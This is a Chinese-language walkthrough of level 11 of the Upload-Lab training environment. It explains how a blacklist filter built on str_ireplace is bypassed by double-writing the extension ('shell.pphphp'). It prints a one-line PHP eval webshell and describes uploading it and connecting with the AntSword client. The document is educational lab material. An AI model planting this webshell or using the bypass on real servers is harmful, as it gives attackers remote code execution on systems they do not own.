关卡简介

Upload-Lab 的第11关挑战涉及到文件上传中的黑名单验证。黑名单验证是一种常见的安全措施,旨在通过禁止特定文件类型的上传来防止恶意文件。然而,攻击者可以通过双写绕过等技术来规避这些限制。本关卡的目标是通过双写绕过技术上传一个恶意文件,绕过服务器的黑名单验证。

分析

通过观察源码,发现一句代码存在漏洞,代码如下:

$file_name = str_ireplace($deny_ext,"", $file_name);

这句代码的意思是将 $file_name 中所有与 $deny_ext 列表中的字符串相匹配的部分删除,不区分大小写。 具体来说,str_ireplace 函数在 $file_name 中查找 $deny_ext 列表中的每一个字符串,并将其替换为空字符串(即删除它们)。

示例:

  • $file_name"shell.pphphp"
  • $deny_extarray("php", "exe", "bat")

执行后:

  • 查找 php 并删除(因为不区分大小写,所以也会匹配 PHP)。
  • 结果为 "shell.php"

解法步骤

  1. 准备恶意文件

创建一个简单的 PHP 文件,例如 shell.pphphp,内容如下:

<?php @eval($_POST['123']); ?>
  1. 上传文件

打开浏览器,进入Upload-Lab第11关的上传页面,选择 hell.pphphp文件进行上传,上传成功后,如下图所示,文件名后缀被修改成php
成功上传

  1. 验证webshell

打开中国蚁剑,建立连接,测试连接是否成功,如下图所示:
webshell成功连接

总结

Upload-Lab 第11关,通过双写绕过技术成功上传并解析了恶意 PHP 文件。该方法利用了服务器在处理文件名时的漏洞,绕过了黑名单验证,达到了攻击目的。这种绕过技术在实际应用中具有很强的实用性,理解和掌握它有助于提升我们对文件上传漏洞的防护能力。